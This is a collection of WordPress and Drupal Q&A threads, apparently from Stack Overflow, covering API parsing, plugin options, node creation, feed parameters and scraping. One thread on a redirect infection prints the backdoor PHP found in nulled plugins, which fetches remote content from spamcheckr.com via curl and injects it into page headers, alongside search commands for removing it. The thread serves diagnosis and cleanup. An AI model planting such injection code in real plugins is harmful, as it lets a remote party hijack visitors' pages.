How should I download data from api.mapmyfitness.com? - wordpress

I want to display on my Wordpress website using MapMyFitness's API. It needs to be in a friendly format for my readers so I am thinking it can be converted into posts. Should I write a script that would directly pull this data from their servers (during each page refresh) or should I create and schedule a cron job for it? I do like the idea of creating a cron job for it (since my site will need to keep track of ratings and comments for each route), but I am not sure where to start for it.
Here's a URL I would be using to grab data from:
http://api.mapmyfitness.com/3.1/routes/get_route?&o=xml&r=&route_key=&route_id=15219484&created_date=&old_json=&loc=
There API does support JSON, so the &o= parameter can be set to "&o=Json".
Here's a link to the API I am using: api.mapmyfitness.com/3.1/
And here's a link to the Routes method which is being used in the link above. It shows how you can manipulate the data: api.mapmyfitness.com/3.1/routes/get_route?doc
Please let me know if I should provide anymore details about what I am trying to accomplish.

there's a few ways you could go about this..
but to keep it simple you could just use a XML parser to read the xml returned from the API,
this xml file, you can do what you want with it, adding pages/posts for each route?
are you using, google maps to display the route points?
heres a little code block that you could use in your wordpress sidebar.
open sidebar.php
pop this little code snippet in there.
$url = "http://api.mapmyfitness.com/3.1/routes/get_route?&o=xml&r=&route_key=&route_id=15219484&created_date=&old_json=&loc=";
$xml= simplexml_load_file($url);
foreach($xml->output as $output){
echo "User: ".$output->user->username."<br/>";
echo "RouteName: ".$output->route_name;
echo "<ul>";
//loop through each point
foreach($output->points as $point){
echo "<li>Lat: ".$point->point->lat." Long: ".$point->point->lng."</li>";
}
echo "</ul>";
}
this should produce a list
User: mm75 RouteName: All PANTHER TRACE - Riverview FL Mar 31, 2010 1:14 PM
Lat: 27.81178 Long: -82.330725
Lat: 27.81178 Long: -82.330725
etc..etc..etc..
hopefully this puts you on track, :)
Marty

Related

WordPress Unyson - Share page options

I'm using the unyson Framework for WordPress and currently using page options which work just fine on that particular page.
But I want to be able to access those options when on another page.
Here is my php -
$page = fw()->theme->get_options( 'service-settings' );
<?php echo wp_kses_post($page['service']['options']['service-box']['options']['description']; ?>
But this doesn't allow me the content from the array.
Using the following I can see the array, but cannot get the data.
fw_print($page);
Thanks guys
You're receiving just options array by calling fw()->theme->get_options('slug') - literally what you typed in the framework-customizations/theme/options/slug.php file.
If you want to receive the actual data you need to use DB helpers.
$data = fw_get_db_settings_option();
// or even refer to individual options, for performance's sake
$individual_option = fw_get_db_settings_option('option_id');
fw_print($data);
fw_print($individual_option);

how to add node in through Drupal API

In order to insert an article to Drupal there are thee ways of doing that:
by admin panel - really slow and not feasable if talking about 400 articles
by pure sql - number of tables that have to maintained and calculated (content, core, cat etc.) is quite high and it's not really reliable
by using drupal API - that's something that I was trying to implement but can't find a good documentation on it. What I'm trying to achieve is to use drupal classes and insert content (ie. running a PHP file with (catid,title,introtext....))
Example: what i want to add node in xyz.com/drupal site but my php code should be run in irankmedi.com
Can you please point me into direction where I can find some info on how to manage articles and categories this way?
Thanks in advance
If your request is very specific and you can't find a module that does what you need it shouldn't be too difficult to make a module on your own and import (create drupal) content from your code. Should be something like this:
Create a php file that will do the job.
At start of your script include standard Drupal's bootstrap code so you'll have all Drupal's functionality available in your script
Make code that will read content (from database or feed or something else).
Use Drupal api to insert node programatically:
https://www.drupal.org/node/1388922
Call your script manually or set cron to call it on specific time periods.
First you have to read RSS feed in drupal custom module. Then, following code can create node programatically.
$node = new stdClass();
$node->type = 'blog'; // This type should exist
node_object_prepare($node); // Sets some defaults.
$node->language = LANGUAGE_NONE; // The language of the default
$node->title = "testnode";
$node->body[LANGUAGE_NONE][0]['value'] = "Body";
node_save($node); // function that actually saves node in database

Passing arguments to WordPress feed URL

As we all know the WordPress' feed url is www.mysite.com/feed.
I have edited the feed-rss2.php file to show thumbnails if a certain GET parameter is passed. See the code below:
<?php if($_GET['c'] == 'detailswiththumb') echo the_post_thumbnail( array(100,100) ); ?>
But when I open the feed address like this:
www.mysite.com/feed?c=detailswiththumb
The code doesn't work. Can the arguments be passed this way? Am I missing something? Please help.
Firstly, the function is get_the_post_thumbnail() not the_post_thumbnail().
Then, their is one more problem in your code, that you have to pass the post id to get its thumbnail (for more info see http://codex.wordpress.org/Function_Reference/get_the_post_thumbnail).
So, first you will have to extract the post id from somewhere and then only you would be able to get the thumbnail. But, I think it would be very tough, so try giving up this thought, for it would take you a lot of time and no living being is going to access that path.
There were browser cache issues. Even with Google Chrome's incognito window. Had to test it with passing fake arguments like...
www.mysite.com/feed?c=detailswiththumb&fakearguments=123
...to clear the cache. And the code is fine.
Sorry for wasting your time guys.

WordPress blog infected with HTML Refresh meta tag

Hello StackOverflow community. I have a very interesting (at my opinion) infection to share with you today.
4-5 days ago I realized that my blog's homepage after some seconds of loading was redirected to another page. Specifically to youtube, at a Justin Bieber video. I thought it was my computer's problem, so I scanned or viruses and malware. But it wasn't my fault.
Finally I was sure that it was not a local problem because Google pagespeed insights had the same result.
So, after many hours of research (and some broken keyboards) I found out those clues. In details:
A meta tag was created inside my header similar to this:
<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">
First, I disabled all my plugins but without result. After a while the problem was still there.
Second, I searched all my database tables to find out if the URL of the video was included somewhere, but it wasn't.
Then I searched in my template editor one by one the php files, but nothing.
.htaccess was also clear (not 100% sure what I was looking for in there, but I think there was nothing suspicious).
After all these, I downloaded via FTP my whole site, and searched inside every file for this URL. I found that it was included to some HTML files of the CACHE folder. I use W3 Total Cache for that purpose. I deleted the whole cache folder, but after a while the problem was still there.
The fun fact here is that this "virus" is not always active. It appears at random time, at different page each time. Also tonight I realized that it appeared on a second computer, the same time that everything looked fine on my computer.
The Youtube Video URL is: http:// www.youtube.com/watch?v=RFngSCaY5nA
So my question is: Does anyone of you have a solution to recommend before deleting the whole installation and start from the beginning? Does anyone else had the same problem wit me in the past?
I think that's all l have to share. I'm sorry for the long post, tried to be as detailed as possible. I'm not good at coding, this is my first attempt to run a WordPress site so, there might be something that I forgot.
Thanks in advance.
I have the same problem and think I found the solution!
Check your site files for this link: http://spamcheckr.com/l.php
I found this link in formcraft plugin.
Like this:
if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}
Edited:
Also check for this: http://spamcheckr.com/req.php
I have found this script in the wordpress fooboxV2 plugin.(FooBox)
Plugin official url is http://fooplugins.com/plugins/foobox/
This is the script file path
/wp-content/plugins/fooboxV2/includes/foolic_class.php
You can see whole scripts are commented.But I found this code in that commented code.
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>
If you are using a nulled version of Gravity Forms you might also get this redirection problem. To solve the problem go to /plugins/gravityforms/settings/setting.php and remove the following code:
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>
Good luck.
Good answer above. To add to it, I recommend using grep to anyone who has trouble searching for the code :
grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content
If you don't have grep and cant access your server (windows users) download it or use findstr :
findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content
(Dont forget to change /www/wordpress/wp-content to the location or your wordpress folders
Found it, too. In my case I was using an apparently nulled plug-in (which I didn't realize). It's called woocommerce-checkout-field-editor and was injecting a link to a Justin Bieber youtube video.
The function looks like this and is was hidden in \wp-content\plugins\woocommerce-checkout-field-editor\assets\js\class.php:
if (mt_rand(0,99) == 1) {
function sec_check() {
if(function_exists('curl_init'))
{
$url = "spamcheckr.com/req.php";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head','sec_check');
}
As we can see, it only displays the spam when a random function hits '1'. Then, it politely asks to see if curl is installed and then sends a simple GET request to the spam server to see what code it should be injecting.
The site is spamcheckr.com.
It then adds itself into the WordPress header and redirects the viewer of the page.
I reported the site to their host and let's see what happens.

Scraping product information for comic book website

I'm making a comic book website built upon a WordPress platform for an old friend for his business. I would like to be able to have a script that goes to various publisher sites and pulls in the data. I'm new to programming and I've read of many different alternatives and just don't know where to begin. Firstly, would this be legal to pull this content from these websites? Secondly, here's an example for what I would like to do.
Page displays what's coming out for the month. Copy all links from
that page within the appropriate div that leads to the comic book
details. Save each hyperlink as $comiclink or whatever. The script will
execute each hyperlink at a time.
Go to the hyperlink for $comiclink and scrape content out of the page based
upon what's in certain DIV's on that page. Example:
Copy & save comic title within a defined div into $title
Copy & save previous and future title hyperlinks within a defined div into $othertitles
Note: $othertitles will loop off and start the same process itself from 1.
Save & download all images within a defined div to $images
Copy & save all content within a defined div to $content. $content is then broken down
and pulled apart based upon the content that is within it. Example:
In stores: $date
format: $format
UPC: $upc
Price: $price
The Story: $story
Copy & save defined div hyperlink and save into $seriesinfo
Copy & save defined div $relatedinfo and then break it down.
images within $relatedinfo to $relatedimages
content within $relatedinfo to $relatedcontent
links within $relatedinfo to $relatedlink. $relatedlink will loop off and restart this process itself from 1.
Now that everything is broken apart and saved into it's own little pieces. I want WordPress to automatically create a post and then start assigning all this info into the post. Working something like this.
Check for existing post with same $title if does not exist place $title in title for post and page-name. If it exists abort script and move on to the next.
Remove numbers and alpha characters from $title and check for existence of category if it does not exist; create it and assign to post. If it exists assigns category to the post.
Check for existing category with value $format if exists assign to post, if not create & assign category to post.
upload images that were downloaded from $image into this post.
Check for images that contain the word "cover" and assign as featured image.
Also how this whole thing executes also. I don't want this running 24/7 - just once a week I would like this to execute by itself and automatically go to the websites in question and scrape the content and create the pages.
I'm not asking you guys to write out the whole darn thing for me; though I definitely won't object to it! Just help point me in the right directions to get this going. Over the past day I've read probably 30+ articles on pulling content and there's so many options from what I can tell that I just don't know where to begin or how to get the ball moving in the right direction with this.
Updated Code
Notes: So I've managed to successfully copy the content and paths for each block and instead of downloading the images just echoing them from their present location. Next up is actually automating the process to create a post in wordpress to dump the data into.
function scraping_comic()
{
// create HTML DOM
$html = file_get_html('http://page-on-site-to-scrape.com');
// get block to scrape
foreach($html->find('li.browse_result') as $article)
{
// get title from block
$item['title'] = trim($article->find('h4', 0)->find('span',0)->plaintext);
// get title url from block
$item['title_url'] = trim($article->find('h4', 0)->find('a.grid-hidden',0)->href);
// get image from block
$item['image_url'] = trim($article->find('img.main_thumb',0)->src);
// get details from block
$item['details'] = trim($article->find('p.browse_result_description_release', 0)->plaintext);
// get sale info from block
$item['on_sale'] = trim($article->find('.browse_comics_release_dates', 0)->plaintext);
$ret[] = $item;
}
// clean up memory
$html->clear();
unset($html);
return $ret;
}
// ===== The Code ====
$ret = scraping_comic();
if ( ! empty($ret))
{
// place main url for instance when hyperlinks and image srcs don't use the full path.
$scrape = 'http://site-to-scrape.com';
foreach($ret as $v)
{
echo '<p>'.$v['title'].'</p>';
echo '<p><img src="'.$v['image_url'].'"></p>';
echo '<p>'.$v['details'].'</p>';
echo '<p> '.$v['on_sale'].'</p>';
}
}
else { echo 'Could not scrape page!'; }
?>
Typically, no this wouldn't be legal. Companies that share their data these days will implement an API you can call and use in your application (subject to their Terms of Use and Copyright Policy). They don't like you making automated requests that bog down their server and kill their bandwidth.
That being said, often times product information is available from other sources such as Amazon which does have an API.
This project you are describing has a lot of work to be done essentially customizing the WordPress CMS and would be less than trivial for someone without any programming experience. You might want to consider hiring a freelancer at oDesk or one of the many other freelance job boards.

Resources